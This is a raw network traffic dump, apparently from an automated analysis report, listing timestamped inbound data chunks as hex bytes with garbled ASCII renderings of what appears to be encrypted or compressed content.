91 22 db d2 89 6f 53 4a a7 76 ce 55 3f 3a 05 af b8 9f 5d bd 63 67 8b a9 80 0d 60 1f 63 06 80 2b 0a b0 79 f7 0f e5 3e 07 9c 
0c 4b fc 8f 31 8d 9e 05 cb 56 a2 a2 29 5e 
Data Ascii: h3Q(voSw"`-[37?d^,&cB+L}"$5dTM!UUZ}_\~#Bn}y!1W.|#2HeS09!H)XM!Tb4Sm4?6|>fg2!)r"oSJvU?:]cg
`c+y>K1V)^

2021-10-12 14:35:51 UTC 91 IN Data Raw: 88 31 6f cd f2 b3 94 8d f3 2e ce e7 75 1c a7 a1 00 83 a1 a2 fa 18 e8 3e 1a b9 04 3c 39 79 18 de ca c6 d8 28 89 
e4 02 7b dd a2 da b7 5b 10 25 39 aa 25 89 ce 67 bf 15 90 1f 91 9d 36 a3 37 68 0b 0e 80 22 81 46 96 96 a7 82 3a 83 b4 f3 
28 0f 9f f4 f5 b3 a1 8e c5 d3 66 11 43 19 93 c9 4c b8 6a d9 19 64 04 6f 9a 6a 72 be 36 85 df b1 f5 05 af 68 db 70 82 8c cb 
f5 83 ff a1 cf dd a5 4d 07 1f 19 e5 eb 16 d0 b8 06 da 13 b5 49 b1 d2 63 f5 d1 94 8a 7f 1b 7e 6b ff ec d5 bc 83 8c 96 ca fb 
00 e3 47 29 ad 71 a0 5c a8 6e 30 e2 c4 2c 78 80 0d 54 fe 0d a5 50 20 75 32 74 26 93 3e c6 41 b0 07 f8 3f a5 1f 05 ec 82 
22 d7 2c 2c 01 b3 6b 92 d7 15 0b ce 99 ec 3d 13 ae 61 a8 43 41 db 00 c6 df 10 71 3e 28 fa 11 bc aa 9d 4b 39 63 41 a9 8d 
31 1f 83 e7 1b c0 38 19 e5 6b 4b 5a 94 f9 52 82 
Data Ascii: 1o.u><9y({[%9%g67h"F:(fCLjdojr6hpMIc~kG)q\n0,xTP u2t&>A?",,k=aCAq>(K9cA18kKZR

2021-10-12 14:35:51 UTC 92 IN Data Raw: e9 c4 9f 7f db a3 e4 81 0d dc f2 30 27 3a da 07 89 72 44 79 eb 77 ff 13 e1 64 91 7a 9f 53 e0 14 c7 ee c5 e9 8b 
df 2b 0e ac d1 17 a3 4a 1b 5e 1e 2c d0 66 d4 95 72 f4 ea 92 2b c6 f4 5f 17 c5 5c 55 87 35 08 69 58 90 df 65 7c 19 af f0 b6 
65 5e 29 d8 0a 04 01 ae 72 b8 1d f7 9f df 0c de 6a c4 5d 6e ba 34 29 de 6d 6e 1b 29 91 32 a8 a1 1c 7e a7 c4 35 d4 2b 76 
3c 6d 22 e3 bf 26 84 a5 b8 b4 cb 3c f6 4c 18 52 52 40 3a 33 92 b6 cd 57 d7 77 a6 13 51 ee f4 d0 87 73 a3 d4 b9 5c 86 aa 
98 3e 46 9c 2d 90 81 cd 10 e3 f2 35 f0 23 61 b3 a0 b7 b4 4b f2 d4 33 a5 e7 3f 73 28 74 6d 85 33 c4 a1 1e 31 8d d8 0d 9c 
26 f3 3a 9c 63 bd ce a5 2e 25 d4 b2 9e 43 6e b4 67 4b e2 07 08 fa ae 94 82 52 a5 69 60 82 5d 9e 37 9c 35 4d 27 72 21 66 
ad 6a ff 14 7c 9a 27 9c 1d 52 db 72 30 d4 9d 1d d8 
Data Ascii: 0':rDywdzS+J^,fr+_\U5iXe|e^)rj]n4)mn)2~5+v<m"&<LRR@:3WwQs\>F-5#aK3?s(tm31&:c.%CngKRi`]75
M'r!fj|'Rr0

2021-10-12 14:35:51 UTC 93 IN Data Raw: 28 ce 54 a4 82 b2 15 7d c8 ea a6 9c 38 f2 2c c8 cc 79 36 33 a0 28 35 b3 ab dc 0a ef 2f 1c 36 54 e5 39 78 0f d1 
91 1b d9 28 8d 7f b3 00 02 a3 c9 b4 25 85 0c 86 ae 27 f4 04 71 ac 02 94 96 fb 70 16 a3 32 07 63 1f 94 3a 4b 26 25 bf 90 
84 29 80 b6 f0 03 cf 93 dc 9c a5 b7 9b f9 14 76 00 42 11 3c c9 4c be 5f dc 18 70 04 c1 9b 6a 7e 73 1c d3 d5 84 f5 03 b6 
73 c3 7b b3 81 a4 dd 01 d7 72 dd ce a6 73 b9 13 97 54 da da d0 aa 3d ec 38 a1 52 62 c3 7c 63 fe 3c 99 6e 1e 7f bf 97 35 
c4 b2 90 d4 32 d3 30 19 28 41 17 58 6b 95 e7 29 6e 30 e1 ae f5 6f 5a 1e 93 78 bc b6 5d 23 26 a4 76 26 9d 5b df 56 66 86 
f8 3e b6 6c f0 ab 83 26 f1 73 30 68 ba 66 86 f5 ac 2b cc 9f fc a6 07 ab 75 ba 51 43 de 2f eb 68 07 a1 05 a2 e9 1e 9d 92 80 
58 00 d2 d2 bf a5 00 83 82 f6 1c d0 23 9c ee 4c 89 
Data Ascii: (T}8,y63(5/6T9x(%'qp2c:K&%)vB<L_pj~ss{rsT=8Rb|c<n520(AXk)n0oZx]#&v&[Vf>l&s0hf+uQC/hX#L

2021-10-12 14:35:51 UTC 95 IN Data Raw: cc 9c 6c 15 15 0e c2 9f 73 d5 9d 07 11 0c dc f9 0b 30 2a d6 18 c1 a6 46 79 e1 0b e7 0a 54 47 45 f7 be 45 f1 19 
bb 04 c6 ed 90 b5 50 09 22 6c 16 ad 4d 3e 1f a2 2e d6 73 cb eb 1d e0 14 9b 0c f7 de 59 31 79 6c 57 81 2e 1d e9 34 46 b0 
6c 55 02 a4 9f d6 14 08 21 d4 11 75 38 85 5b b8 1b 98 e0 ed 09 d4 88 d4 56 68 6b 3a 46 fb 79 7d 1b 7e 48 31 a8 ab 3a 
44 8b ca 2c 02 5b 5a 2e 7a 0a e8 a7 25 bd 8e 35 03 e5 66 9b 4e 12 47 61 42 3b 35 92 b2 bc 9d d4 5b aa 57 30 f3 fd c9 ab 
62 bc c9 70 45 76 ba ba 25 4e a4 6c b9 6d 34 07 c5 d1 2e fb 1a b0 aa 5e b0 f7 2d e1 d0 03 88 f7 34 62 3c 73 4f 39 20 ce 
be f6 bd a6 de 0e 8e 35 fd 3d be c0 ac c4 b0 11 ca d5 9e 9b 3d 0b a7 6e cf 73 29 27 d3 8a 97 9d 4c d9 0f 62 93 5d a7 2f 
67 25 6a 42 b1 29 71 71 28 f9 0f 2d a5 24 98 2c e3 cd 8c 
Data Ascii: ls0*FyTGEEP"lM>.sY1ylW.4FlU!u8[Vhk:Fy}~H1:D,[Z.z%5fNGaB;5[W0bpEv%Nlm4.^-4b<sO9 5==ns)'Lb
]/g%jB)qq(-$,

2021-10-12 14:35:51 UTC 96 IN Data Raw: c6 56 da 36 e1 29 9a 50 b6 80 a0 15 6f cd fa 8d a3 94 f3 26 cc e3 03 d5 33 a0 04 86 9a 24 db 19 e3 12 11 1c 
01 3e 39 7e 78 f5 e8 c7 d3 52 8d 7f 1b 73 d9 83 36 4f 4a 1b 3c 8d 80 0b 8d d8 77 df 51 83 0c 8a ea 14 a0 4b b7 0b 1d 90 
32 91 13 e0 97 a7 80 03 8a a5 eb 30 dd 9b b1 f3 a5 b7 9d d1 c1 72 02 47 3d bb 7a 4d b8 7f cf 23 f8 2d f9 91 46 7f 85 11 f4 
fd b5 86 25 be 60 c0 02 9d 84 8c 52 80 ff ad f5 c5 88 75 14 12 91 21 da ce c3 a7 6f d6 2f dc b9 bc c3 69 66 c2 b4 9c 46 66 
69 bd ea 94 26 b2 94 5e af c4 ea 0e e1 62 1c 4b aa ad 28 29 6e 30 e3 d5 2b 47 4d 1a 82 79 24 b3 2d cd 5d 78 72 24 8f 37 
39 41 b0 18 e9 31 c9 f2 2d ab 87 20 d9 40 c7 6e ab 6e 90 fd 7a 6f cd 99 67 00 00 ab 74 c6 a2 57 ca 03 4a 1b 74 a9 2d 34 
94 fd 97 83 88 4e 53 8f d0 bf a7 14 61 ca f7 1c db 
Data Ascii: V6)Po&3$>9~xRs6OJ<wQK20rG=zM#-F%`Ru!o/ifFfi&^bK()n0+GMy$-]xr$79A1- @nnzogtWJt-4NSa

2021-10-12 14:35:51 UTC 97 IN Data Raw: 8c ad 55 b8 10 cd 9a 7b 68 06 38 c0 95 0a b7 a5 68 f0 01 c1 e0 1d 3c 2a df 1a 04 25 6a 7a f9 1e f3 04 2a 76 5d
09 b5 7f ea 13 d3 96 2d ed 9a de 21 18 27 66 14 a5 42 cd 36 32 3b d1 50 2e 83 c0 e3 14 97 53 bd da 48 35 65 25 57 81 
2e 01 fa 2a 83 da 64 45 07 b7 0e bd 3a 03 28 da 73 ca 11 ab 5e b3 07 e4 89 ef 18 db b5 3b 5c 42 70 33 2f b2 90 7d 11 15 
38 20 ad a1 0d 6a b0 25 20 06 23 52 41 07 25 f5 bc 30 86 a5 36 12 e6 1f 09 4d 3e 4e 50 40 35 33 92 b9 cc a3 28 5a 8c 3a 
77 f4 c5 ec 72 8c 4d f4 b8 54 63 9b b6 34 6c 9a 3a 46 5f cb 0f f9 f5 34 e4 38 68 a8 2a 21 98 41 e2 c3 0d bc e2 17 3e 37 67 
6d 94 26 c4 94 e7 36 d5 49 0e 8f 20 c3 2a be 1d ae c4 b0 2f 41 de 40 9f 77 4e 92 6e c5 5f 35 04 c3 ae 94 97 94 b6 64 4a 
93 56 91 21 62 34 61 0d 63 22 5a 7b 77 62 0b 6b 88 c7 
Data Ascii: U{h8h<*%jz*v]-!'fB62;P.SH5e%W.*dE:(s^;\Bp3/}8 j% #RA%06M>NP@53(Z:wrMTc4l:F_48h*!A>7gm&6I 
*/A@wNn_5dJV!b4ac"Z{wbk

2021-10-12 14:35:51 UTC 98 IN Data Raw: 85 a7 7c fd 20 ae 27 14 7b f2 1d 4c 4d 72 ba d4 cb 56 10 2d 5c 75 6b ed 2c c1 43 44 67 48 82 1f 56 d9 6f c7 8d 
0c 21 5b 06 7c ce 1f 5c 06 05 4f 02 6e 30 f1 f2 4a 1a df bd 58 47 1d f3 9e 04 30 01 04 6c 60 e3 df c7 ca 9a f6 64 09 23 70 
2f 8e f5 81 92 56 ab b1 4d fe 74 c9 5c 1c da fa 75 58 2c 7f 49 ca ab ca 6d cd bb 37 1f 1a ca c0 ae 87 30 0a 2c 01 c4 0b ab 
d4 81 fd 5b 91 80 a5 3e 72 f6 f7 a4 fb 79 63 25 86 88 a3 a9 58 cd b6 7f 0c 76 3a c8 80 73 34 a6 44 f8 26 d9 cb 45 c3 c4 25
0a d0 37 76 7a e1 ac f6 04 3b a2 47 f7 a5 45 f3 11 ec 79 c6 ed 9a da 2b 0f 3e 98 04 8c 50 31 2e 18 5f 8f 75 d0 8e 7a ff 07 
95 20 d0 dc 56 c1 17 74 5e 88 26 71 e8 22 90 db 7b 5d 11 aa f0 ad 12 15 d5 d9 2c 72 18 a8 4e 90 de f6 8c e9 04 c0 bd c1 
5d 7f 7e 23 d7 ce 57 7e 09 02 20 33 b9 a5 
Data Ascii: | '{LMrV-\uk,CDgHVo![|\On0JXG0l`d#p/VMt\uX,Im70,[>ryc%Xv:s4D&E%7vz;GEy+>P1._uz Vt^&q"{],rN]~#W~ 3

2021-10-12 14:35:51 UTC 99 IN Data Raw: 38 c1 ec cb ea d4 a6 1f 54 15 27 95 84 a6 2a 6b 3c cb 39 b6 a4 bf 45 b9 95 f6 25 91 b5 02 13 76 26 72 c3 3d 
93 55 db f2 6f de 47 16 61 8f bb fb 0e 9b 0b 20 24 89 c1 f4 70 8c 74 f2 66 0c ae d7 87 a2 19 a3 8f 36 4c db 4e bd ba 55 bc 
2d 8e 46 0a c6 90 a9 fe 1b 16 2c fd c5 11 35 34 7d d1 12 0b 13 bd 07 dc 0c 03 e8 ba 14 30 72 7a 28 5f c2 93 b9 37 9c 60 
1c b5 57 ea 08 d0 08 87 97 12 65 e9 70 33 28 ec 5f d7 e3 f2 c7 2b d3 ec 47 cc 19 f3 d7 dd 7c bf b8 9e ea 90 32 e7 b4 a7 
91 f3 3d cb ea 72 ca 32 8c 08 8d a5 7d d6 06 e4 2d 1f 34 3e 39 24 86 0a ff fe d1 db 53 85 68 29 7f b2 29 cb b0 40 0c d7 95
ac 29 91 cb 74 ac 17 87 17 7e 91 3a a8 34 13 1b 1c 94 34 b9 b2 1c 84 a2 84 38 8f b3 06 01 f2 98 e3 e0 a0 b7 8c d4 de 65 
fe 45 15 91 e3 49 80 90 37 f4 88 06 ea ab 6f 74 a8 
Data Ascii: 8T'*k<9E%v&r=UoGa $ptf6LNU-F,54}0rz(_7`Wep3(_+G|2=r2}-4>9$Sh))@)t~:448eEI7ot

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 100 IN Data Raw: 65 d9 ec 10 78 72 c9 fa f7 23 8c bf 3f 7b e3 01 60 57 51 ba dc d4 84 ee 2c 61 0c e0 e9 51 d8 4e 46 60 5f e7 d8 
57 d1 73 15 80 24 24 33 0d ef ce 15 07 6c 01 90 13 6e 3f ac e4 49 d8 2b b4 58 48 12 9f b4 0b 31 0b dc 76 46 e3 d6 cc 34 
9b d8 60 24 0a 71 00 8e f7 9f 6c 57 87 a0 7a e3 09 dc 5c 1c de 39 7c 54 3d 75 01 4f a4 e7 65 ba 75 0a 1f 1c c0 f4 a9 af 16 
15 d2 06 9b 81 ae d6 f6 89 58 c1 eb 72 33 72 f8 ea 72 69 57 61 37 87 a0 38 bd a6 c6 96 74 65 e9 3a c0 95 51 0a a6 68 fc 
1e d8 f5 77 a8 39 da 07 e9 22 6d 44 f3 0b de 91 39 73 4d e4 b1 50 f1 10 bb 7d c4 ed 90 f7 10 09 72 77 00 a8 33 f9 36 1e 
2a fa 6b c1 80 67 e7 6f 88 21 c1 dc 40 2e 13 23 4f 80 24 08 f4 26 eb fb 65 54 06 c1 34 bd 16 0e 0d ca 06 56 87 a9 58 b2 
30 4d 52 e1 1b d8 50 d3 7a 6e 7a 2f 46 98 7b 7d 1b 
Data Ascii: exr#?{`WQ,aQNF`_Ws$$3ln?I+XH1vF4`$qlWz\9|T=uOeuXr3rriWa78te:Qhw9"mD9sMP}rw36*kgo!@.#O$&e
T4VX0MRPznz/F{}

2021-10-12 14:35:51 UTC 102 IN Data Raw: 87 88 ec 2d 62 39 c5 ea df 28 d4 a6 1d 6a 8d 5e 85 8f b0 34 8a 22 a4 90 bc bb a1 4b ac 90 e7 32 83 54 0d c1 
74 12 6e c7 46 92 52 c7 08 57 ee a8 e1 9d eb ae e9 0b 9f 75 bd 3b 82 35 fe 41 8a 75 f0 0c 04 b0 c0 7d cc b3 b6 8d 47 4b 
00 f6 6e a7 62 29 3c 8b 4c 0d db e0 16 00 1a 30 38 e7 c2 6a 3b 24 7b ca 07 e2 01 94 08 ce 72 38 17 bb 3c 00 f2 5e d7 a0 
22 87 a3 22 99 71 0b ad b6 ff da c1 2c 8b ee 4d 6a e8 74 58 df 1b 5f dd e3 f3 c1 3e d6 fd 50 d6 12 1d 28 f0 4a b4 fb ae 14 
6f c9 ff 2b 03 22 db b5 cc f5 74 22 2b cf a9 85 b2 a1 c5 0c fa 38 1a 25 29 23 35 86 0a ff e3 ff d6 29 89 69 36 76 ce a5 c9 
a1 4c 04 18 78 a9 09 95 da 0a a2 07 82 08 89 1e a1 15 1e f1 09 1d 9e 26 8d 01 a9 97 a7 8e 36 9c b6 fe 00 cf 9d eb fc 5b 
b6 b1 cd c3 09 0e 45 39 97 cb 37 a1 78 ca 0f 5f b5 
Data Ascii: -b9(j^4"K2TtnFRWu;5Au}GKnb)<L08j;${r8<^""q,MjtX_>P(Jo+"t"+8%)#5)i6vLx&6[E97x_

2021-10-12 14:35:51 UTC 103 IN Data Raw: 30 cd 12 98 75 61 c2 e7 dd 7f 57 ac 2e e2 22 86 ac 19 64 ee 22 67 57 6f be c3 c0 a1 ef 00 76 54 46 f6 44 c1 46 
44 72 53 97 09 a8 d0 59 2d 8e 5b 22 5d 78 eb c9 09 51 f5 bd 21 ab 6a 2b f7 ed 59 15 25 bc 65 4a 05 e6 1d 0a 1d 10 08 73 
17 ec d6 dc 30 f4 42 60 22 00 67 3c 99 ee 9b 6c 46 83 a4 45 18 08 f7 4a 1e a5 eb 7d 54 28 61 79 ae a8 e6 6f a8 1a 59 b6 
1c c1 d3 bd 97 2b 13 d2 11 ec 1d bb 28 fd df 61 93 ff b5 33 72 fa fe d7 d1 55 61 3c 87 81 bd a0 f6 50 93 6a 04 31 a6 c9 87 
62 56 ae 71 e6 91 d5 e9 0e a0 32 c1 1b 66 2d 5a 6f 7d 04 eb 12 a7 7a 51 e9 db fa e0 15 de f4 de fe 9e da 2b 0f 3d 6c fb 
a1 70 1a 35 65 22 d7 75 d4 86 0d ee 15 91 24 ae 52 4a 3f 1c 32 57 fa 35 0d e5 27 46 f7 f9 56 02 a4 e6 a2 79 a1 2b d8 0a 
61 1b b8 5c b8 0c f3 90 11 08 f2 b9 c7 26 60 7b 34 
Data Ascii: 0uaW."d"gWovTFDFDrSY-["]xQ!j+Y%eJs0B`"g<lFEJ}T(ayoY+(a3rUa<Pj1bVq2f-Zo}zQ+=lp5e"u$RJ?2W5
'FVy+a\&`{4

2021-10-12 14:35:51 UTC 104 IN Data Raw: 28 90 78 b7 8a 8b 8a fe 5e 66 26 3b ef 9c ed d6 f6 60 5e 16 5c 81 86 f6 55 fe 8a a4 94 88 70 b5 58 aa 8f e9 27 
9c aa 1d e5 69 f4 7c ed 4f bb c8 db f6 56 dd b1 fa 96 90 a5 e0 14 ba e4 24 17 92 3d 8e 52 98 73 f4 14 6d 31 d5 83 c7 80 
83 9c 34 45 10 fe 75 ba b4 b1 12 9b 42 1d d5 89 31 b7 75 61 27 ff db 67 24 39 6e dd 0d 0d 08 a7 15 33 08 31 1c aa 3e 2e 
9d 4c d1 bf 2e 9f b8 24 88 68 12 a6 b6 ff da c0 27 d8 ee 70 6a e8 74 29 07 8e a2 28 16 f2 c5 2b de ec 47 c1 11 1d 28 f0 
53 ae 93 a8 15 7e c5 e1 5b b5 b8 f5 3a dd f0 64 27 3b a0 11 8d ad b2 24 18 c5 30 19 64 3e 39 57 05 10 d2 ea c3 c6 32 9a 
61 29 6a d5 bc c3 4e 4b 37 01 85 f8 30 f2 f8 70 ac 02 9d 07 93 98 16 b2 3e 7e f5 1c b8 33 82 7d 08 97 b6 8c 36 ae 5b f9 
2c dc b0 f1 cb 65 4b 62 2e eb 72 00 44 2a a3 cb 4c c4 
Data Ascii: (x^f&;`^\UpX'i|OV$=Rsm14EuB1ua'g$9n31>.L.$h'pjt)(+G(S~[:d';$0d>9W2a)jNK70p>~3}6[,eKb.rD*L

2021-10-12 14:35:51 UTC 105 IN Data Raw: 47 5b 64 a8 aa 35 cd 1e 98 75 6d c2 e8 dd 7f 57 ae 58 e0 f5 8a b7 0e 68 f0 31 72 5f 61 b7 22 d5 73 fa 29 73 77 
73 e5 87 fa 79 45 63 5d f5 08 57 d1 71 26 82 33 24 5c 69 e7 d9 e1 57 57 09 56 11 62 2b ec fa 5d 0f df bd 58 41 19 f8 fc 01 
e7 29 8b 73 6c e9 da c3 3e 88 d2 60 33 02 73 33 70 fc b3 7d 52 fc a6 4b e6 0d ce 33 5c 89 1a 83 ab 33 66 42 3c aa f7 6d 
a1 14 c8 1e 30 d1 da aa 98 32 c1 fa 8b ea 02 a6 c5 f9 ec 4f 82 8c bb 23 7a e1 eb a4 fb 79 6d 34 95 90 ef 96 59 33 65 62 
17 69 32 c0 8e 71 d3 59 69 d6 03 d8 f0 96 8b 21 00 1a 20 37 41 75 fb 1e fe 04 2a 7b 58 e4 4a 52 cc 1a d7 e3 d8 3b b2 51 
38 0b 28 75 03 bf 48 20 3f 1e 3d de 6a cb 7a 77 ce 1d 99 31 c6 e9 20 20 0a 4b 5d 81 35 04 fa 2c 6e de 48 40 07 ad f8 a3 
02 de 03 e3 01 7e 1a d6 44 b9 1d f3 93 ff 1a d6 ae 
Data Ascii: G[d5umWXh1r_a"s)swsyEc]Wq&3$\iWWVb+]XA)sl>`3s3p}RK3\3fB<m02O#zym4Y3ebi2qYi! 7Au*{XJR;Q8(uH 
?=jzw1  K]5,nH@~D

2021-10-12 14:35:51 UTC 107 IN Data Raw: 28 b8 66 f9 b3 0c ca 76 a7 88 85 06 17 56 79 39 ed dd b1 fa df a4 60 4c 16 5c 81 ea 3d 2c e5 81 28 01 b6 a4 
b4 4e 82 0c f7 34 9e 86 08 fb 7d d4 0e c3 57 8b 29 ca f7 56 c6 ba f8 9a 87 de 32 bc 8c cc a8 10 82 3f f4 21 89 72 f0 19 00 
d4 d9 82 cd 9b a8 99 53 d5 03 f6 60 97 48 cb 30 8a 46 1f c1 f4 af 01 1a 3e 31 ee d5 db 54 6e 7d d5 07 3a 02 c3 09 cc 09 
19 1f ad 57 a9 48 5f dd 86 2a 86 6e 06 9b 1b 03 b1 48 fa 99 57 26 88 9f 7f 01 d5 18 c9 b8 e4 81 db c1 da d2 38 dc c4 6e 
c9 06 e9 f7 dc 46 9c 86 8a 54 73 cd f8 a5 b4 94 f3 3e ce f5 7e 82 32 a0 00 4d b3 ab da 15 e9 3e 1a 2e 2f 3c 38 6b 3b d1 
ea ef d9 28 89 61 29 7b cc b5 c2 9b 51 1b 0a 91 56 24 a3 da 69 a7 06 85 1a 7e 91 3a a1 21 63 0b 1a 8c ce 94 42 02 bc 
a5 af ca 88 de e2 01 de 9f de 89 a7 9f 8a d1 c1 78 02 5b 
Data Ascii: (fvVy9`L\=,(N4}W)V2?!rS`H0F>1Tn}:WH_*nHW&8nFTs>~2M>./<8k;(a){QV$i~:!cBx[

2021-10-12 14:35:51 UTC 108 IN Data Raw: e3 5b c4 ee 75 ef 51 77 a6 b2 28 f6 fa 9c 64 63 cb 7f 24 7e 7b a7 44 e3 37 91 80 b2 7b f8 3b 45 7c 24 bd c8 fc 
b2 ea 2c 76 69 e1 ee 51 d2 43 50 77 43 a0 b0 56 d1 7f 2d a4 ce 28 5c 7e f9 43 18 56 7b 0b 5a 16 7e 03 5e f2 42 0c 09 ad 
74 4e 10 fc eb 1f 19 ee 04 71 6a f4 5a db 34 9b db 73 26 1b 68 35 a6 0d 9b 6c 51 25 aa 4e f2 1d cf 75 bf de e5 76 7c 99 
77 51 3e 86 e4 4e 86 07 22 37 f1 c5 d9 a4 91 b5 10 d2 00 e9 16 b8 c2 d4 50 5a 91 8e af 1a 83 fa e0 5c ec d8 66 3d 8a 89 
bf ab b2 e4 39 7d 1b 70 12 74 9f 79 c0 8f dd fa 0d d6 c9 76 c3 c4 25 0a ee 0c b4 7d e1 0b e0 89 3c 73 47 f6 a0 47 f4 3d 77 
eb c6 e7 b2 80 3a 0b 28 6c db b0 79 1b 00 1e 2c dc 78 c6 8e 5e da 14 91 2a 1f d8 4e 15 16 58 55 c0 38 0c e5 23 90 df 64 
54 02 ae f0 4f 17 08 2b 2b 01 7e 10 bb 58 b8 1d ed 
Data Ascii: [uQw(dc$~{D7{;E|$,viQCPwCV-(\~CV{Z~^BtNqjZ4s&h5lQ%Nuv|wQ>N"7PZ\f=9}ptyv%}<sGG=w:(ly,x^*N
XU8#dTO++~X

2021-10-12 14:35:51 UTC 109 IN Data Raw: e3 8f a3 a2 cd 2f d7 c3 f0 6d 2c d6 76 cd 5e 83 8a e5 6c 00 c7 3a 11 6e ec c4 b7 6e 79 17 5c 84 a9 aa 3f f4 fe 
9f 90 b6 a5 da 0f aa 90 fc e8 bc 5f 08 ed 71 20 7a eb 46 83 54 9a 92 56 c2 ba e9 9e 90 99 e8 0b 9b 11 25 3b 82 07 f5 5c 
99 7f f0 1d 02 af d7 83 cd 9d a1 8f 3c 01 01 f6 6a 9b 4b b0 3e e5 47 1b c3 99 bf 00 1a 3a 27 ff d1 6e 3b 35 7d 5e 0c 1c 00 
a0 07 cd 09 be 17 bb 38 35 4a 5f d7 a0 3d 8c b0 26 99 60 0d 09 49 fe f6 4b 24 88 95 3a 69 e8 70 21 47 1b 5f d7 e9 ed d2 
23 e6 e5 56 3c 04 e3 29 30 50 b6 91 be 98 44 cd f8 a4 a7 9d 80 87 ce f5 74 27 35 b1 06 91 9a 2f d8 19 ef 29 97 33 2f 3c 
38 6b 05 c2 e4 d1 c8 21 2b 78 27 68 d2 b2 c6 a4 5e 0c 80 a9 a8 25 8e cb 61 bd 16 94 1b 1c 81 06 b4 1e cf 0b 1d 9e 16 84
7e 16 07 8b 9b 38 85 b3 62 28 cf 9b f4 f9 75 a5 9d 
Data Ascii: /m,v^l:nny\?_q zFTV%;\<jK>G:'n;5}^85J_=&`IK$:ip!G_#V<)0PDt'5/)3/<8k!+x'h^%a~8b(u

2021-10-12 14:35:51 UTC 111 IN Data Raw: fa 1d 4c f7 61 f7 70 85 f9 51 47 51 77 ac b5 3c de 16 ff 03 65 c8 e8 23 7e 7a bd 60 f4 23 2a a8 15 7b 16 31 63 
46 56 bd d9 d4 59 9d 97 72 7f 66 e5 59 bd fe 46 63 5d 85 6d c5 d1 75 33 87 29 43 3f 78 ef c4 0c 50 50 52 5f 04 05 4f fd f2 
48 72 63 bc 74 4f 09 f4 e4 75 a2 01 00 7b 03 fa d6 dc 3e b7 f6 71 26 22 64 26 8e fb f0 ac 55 87 b1 62 53 09 db 57 30 cc f4 
78 7c 25 72 51 32 c5 26 67 be 0a 59 0a 1c c1 d3 a9 96 3c 78 13 02 e8 08 ab fe 19 f0 5a 97 fa 28 32 72 f4 8f 22 fa 55 6b 36
9b 8e c4 d9 a6 cc 90 50 84 a4 36 d1 99 55 cd b6 6e 95 5a dc f3 12 e0 3c d0 d3 ef 01 6e 4e e1 0d fc 17 3e 5b 4d f2 b4 55 
ea 3d ec eb c6 e7 44 da 3c 21 23 7a 05 a0 5e 33 2f 1e 41 53 75 dc 84 76 e2 14 91 20 c1 d8 dd aa 16 4d 4f 81 24 0d fe 13 
98 df de 54 02 ae 1f bc 16 19 03 d3 05 7e 16 
Data Ascii: LapQGQw<e#~z`#*{1cFVYrfYFc]mu3)C?xPPR_OHrctOu{>q&"d&UbSW0x|%rQ2&gY<xZ(2r"Uk6P6UnZ<nN>
[MU=D<!#z^3/ASuv MO$T~

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 112 IN Data Raw: f8 29 6c de 28 8d 7b a8 8a ec 07 c0 c8 fb b9 2e 90 65 a2 9f ab a4 ed 56 7f 57 bd ee b0 f0 d8 a4 1d 2d dd 5e 85 
8f b9 22 ff 9c cb 64 b7 a4 b3 4e 82 81 f7 34 9e a6 0b c5 66 0f 7d c7 29 9a 55 db fc 6f 75 b9 e9 9e b8 a6 ed 0b 9d 17 2c 13 
91 3a f5 5a f6 6a f1 1d 08 83 db 8a e5 8b a4 8f 3a 6d 25 f6 6a bb 47 b2 38 e4 8c 19 c3 85 a0 38 00 2c 48 0b d0 6c 3d 1d 
6a d4 0d 16 28 ef 05 cd 0f 35 38 b9 38 3f 25 27 d7 a0 37 a4 85 26 99 6a 1e b7 5f ed fe e9 75 89 95 69 7a ef 72 4c 70 1a 5f 
d3 86 26 d0 38 dc 36 4e 11 11 39 3e 0a dd a3 80 a0 14 7c c4 ee b4 b3 96 88 1b cf f5 7a 5b f8 a2 00 8f 68 b3 02 0e 33 2d 
0b 27 25 17 01 69 02 c2 e0 c5 df 47 43 6b 29 71 d5 b2 c1 68 52 cd 1c 8c b0 fd 59 c0 66 c3 f2 83 0c 86 b8 01 a2 36 62 23 
4a 96 30 93 46 2e 95 a7 82 46 f2 a5 f8 0a 7c 8a 
Data Ascii: )l({.eVW-^"dN4f})Uou,:Zj:m%jG88,Hl=j(588?%'7&j_uizrLp_&86N9>|z[h3-'%iGCk)qhRYf6b#J0F.F|

2021-10-12 14:35:51 UTC 113 IN Data Raw: e2 66 08 dc 4d eb 1a 4d 79 ce fe 57 04 23 32 bc 50 77 aa aa 37 cd 1d 98 75 6e c2 ef dd 7f 57 b6 41 f1 20 8f bf 
c3 ea 97 ca 62 57 78 a5 c2 c7 54 ee 3d 7b 60 60 17 50 fe 4b 7c c3 a9 77 ec 49 dc 66 32 8c 31 27 43 66 11 cf 33 47 7c 65 
b2 03 6a 2d ec f4 2d d4 23 bc 7e 51 05 e3 e8 0b 20 0a 1c 8f 6d cf df df 3d 0a c9 6a 3f 19 67 23 9f f6 88 92 56 ab b8 52 f5 
02 db 4c 17 c1 fa 82 55 00 64 52 3d bd 30 f4 a9 da 21 c9 91 ea d9 a2 86 34 08 f2 13 e3 02 bd dd e3 de a4 90 a8 a8 31 7b 
e9 36 cb ed 8f 76 eb 07 a3 ab bf a7 c0 85 53 08 71 3a d1 94 66 d1 59 69 d6 06 af f3 1a 3c 3d c9 0b e5 38 55 72 e1 1c fd 
1b 0e 8d 46 db bd 6b 66 14 d4 eb d9 db 89 d1 3a 1a 29 79 20 5e 5d 1f 15 19 43 2a 74 d0 82 71 8d e8 90 20 c7 b7 98 3d 
16 52 42 5b 4b dd e7 23 9a d7 0b ab 03 ae f6 a3 30 1b 
Data Ascii: fMMyW#2Pw7unWA bWxT={``PK|wIf21'Cf3G|ej--#~Q m=j?g#VRLUdR=0!41{6vSq:fYi<=8UrFkf:)y ^]C*tq 
=RB[K#0

2021-10-12 14:35:51 UTC 114 IN Data Raw: 79 9e 53 e9 ed 68 4d c1 df c8 ad 04 df 27 87 a6 bd ef 4b 6d d0 6c 9f 01 e2 68 bd ea ee ab 4e 95 5a 83 ab 3a 0c 
f2 58 0f 91 0f 7c 2a 29 64 5f 19 d4 29 69 8c 17 9d 54 35 ae 50 30 56 67 5a d8 98 66 c5 46 df e0 ea 32 b2 06 2a c4 51 20 
dd 37 3e 43 b8 61 92 cc 71 30 ed 67 eb 07 0d a8 fb 0c 4c 4f 1c dd 5b 6c 18 89 3e 35 e9 0f 9c 9c b6 b2 29 40 c1 b8 cc ea 
